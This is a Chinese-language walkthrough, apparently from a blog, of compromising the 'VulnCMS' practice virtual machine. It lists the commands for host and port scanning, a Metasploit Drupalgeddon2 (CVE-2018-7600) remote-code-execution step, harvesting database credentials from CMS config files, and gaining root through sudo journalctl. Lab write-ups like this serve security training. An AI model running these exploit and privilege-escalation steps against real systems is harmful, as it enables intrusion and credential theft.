VULNCMS
靶机准备
导入虚拟机,并将网络模式设置为NAT
扫描ip
netdiscover -r 192.168.164.0/24
渗透测试
扫描端口
nmap -sS -sV -T5 -A -p- 192.168.164.191
其中有3个端口开放了http服务
依次访问80、8081、9001
其中80是w3.css 5000端口是WordPress 8081端口是Joomla 9001端口是drupal
cms版本扫描
1.wpscan --url http://192.168.164.191:5000/-e u
得知wordpress版本为5.7.2(这个前面nmap也扫出了)和用户名wordpress_admin
2.perl joomscan.pl --url http://192.168.164.191:8081/
得到joomla版本3.4.3
3.python3 cmsmap.py http://192.168.164.191:9001
得到drupal版本7.54
drupal 7.54有个RCE漏洞CVE-2018-7600
使用msf,可以成功获取到一个meterpreter
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.164.191
set rport 9001
run
转换为交互式shell
python3 -c "import pty;pty.spawn('/bin/bash')"
不是root权限
提权
查看具备suid的有那些命令
find / -perm -u=s -type f 2>/dev/null
没有能直接用来提权的。
开放了22ssh端口,收集信息
cat /etc/passwd
ls -l /home
发现elliot、tyrell、ghost这三个普通用户
在/var/www/html/drupal/sites/default/settings.php找到到drupal配置文件,得到数据库用户名密码:drupal_admin/p@$$_C!rUP@!_cM5
在/var/www/html/joomla/configuration.php找到joomla配置信息,收集到数据库用户名:joomla_admin/j00m1_@_dBpA$$
在/var/www/html/wordpress/public_html/wp-config.php找到wordpress配置信息,收集到数据库用户名密码:wp_admin/UUs3R_C!B@p@55
这里我着这几个数据库都连接不上
再找有用的信息
在/drupal/misc/tyrell.passwenji文件中找到用户及密码tyrell/mR_R0bo7_i5_R3@!_
切换到用户
发现用户可以无密码执行root权限文件/bin/journalctl
获取root权限
sudo journalctl
!/bin/sh
到root目录下获得flag
VULNCMS的更多相关文章
- 2020 10月CUMTCTF wp
华为杯 × 签到杯√ 论比赛过程来说没什么很大收获 但看师傅们的wp感触很多 赛后复现慢慢学吧 Web babyflask flask ssti模板注入: payload{{key}}发现[]以及类似 ...
随机推荐
- Solution -「洛谷 P4719」「模板」"动态 DP" & 动态树分治
\(\mathcal{Description}\) Link. 给定一棵 \(n\) 个结点的带权树,\(m\) 次单点点权修改,求出每次修改后的带权最大独立集. \(n,m\le10^5 ...
- Solution -「多校联训」博弈
\(\mathcal{Description}\) Link. A B 两人在树上博弈,初始时有一枚棋子在结点 \(1\).由 A 先操作,两人轮流移动沿树上路径棋子,且满足本次移动的树上距离 ...
- JVM基础学习(二):内存分配策略与垃圾收集技术
Java与C++之间有一堵由内存动态分配和垃圾收集技术所围成的高墙,墙外面的人想进去,墙里面的人却想出来 垃圾收集概述 Java内存模型中的堆和方法区是垃圾收集技术所需要关注的终点,因为其他的区域会跟 ...
- ngixn隐藏版本号、指定404页面
1.场景:部分系统服务器端返回的HTTP头中,泄露了服务器采用的中间件信息(类型,版本)nginx,apache,攻击者可以缩小攻击范围,针对中间件存在的漏洞发起攻击 修改:ngixn/bin/ngi ...
- python+pytest(2)-HTTP协议基础
HTTP协议介绍 简介 HTTP 即 HyperText Transfer Protocol(超文本传输协议),是互联网上应用最为广泛的一种网络协议.所有的 WWW 文件都必须遵守这个标准. 设计 H ...
- 由浅入深--ORM简介
一.ORM简介 从传统的JDBC开始说起 下面是通过JDBC连接Oracle的步骤,如下代码所示: Connection conn = null; PreparedStatement stmt = n ...
- 1.分类维护-通过Java8 Stream API 获取商品三级分类数据
实体类 @Data @TableName("pms_category") public class CategoryEntity implements Serializable { ...
- linux中ctrl+c、ctrl+z、ctrl+d区别
转至:https://www.cnblogs.com/jintaoblogs/p/11343623.html 一.ctrl-c 发送 SIGINT 信号(程序终止(interrupt)信号)给前台进程 ...
- 4.Profile(多环境配置)
在实际的项目开发中,一个项目通常会存在多个环境,例如,开发环境.测试环境和生产环境等.不同环境的配置也不尽相同,例如开发环境使用的是开发数据库,测试环境使用的是测试数据库,而生产环境使用的是线上的正式 ...
- Leaflet:LayerGroup、FeatureGroup
LayerGroup(Layer) Layer 用法:把一些Layer集中到一个组Group中,以便作为一个整体进行操作.如果把该Group加入到了Map中,任何从这个Group增加或者移除Layer ...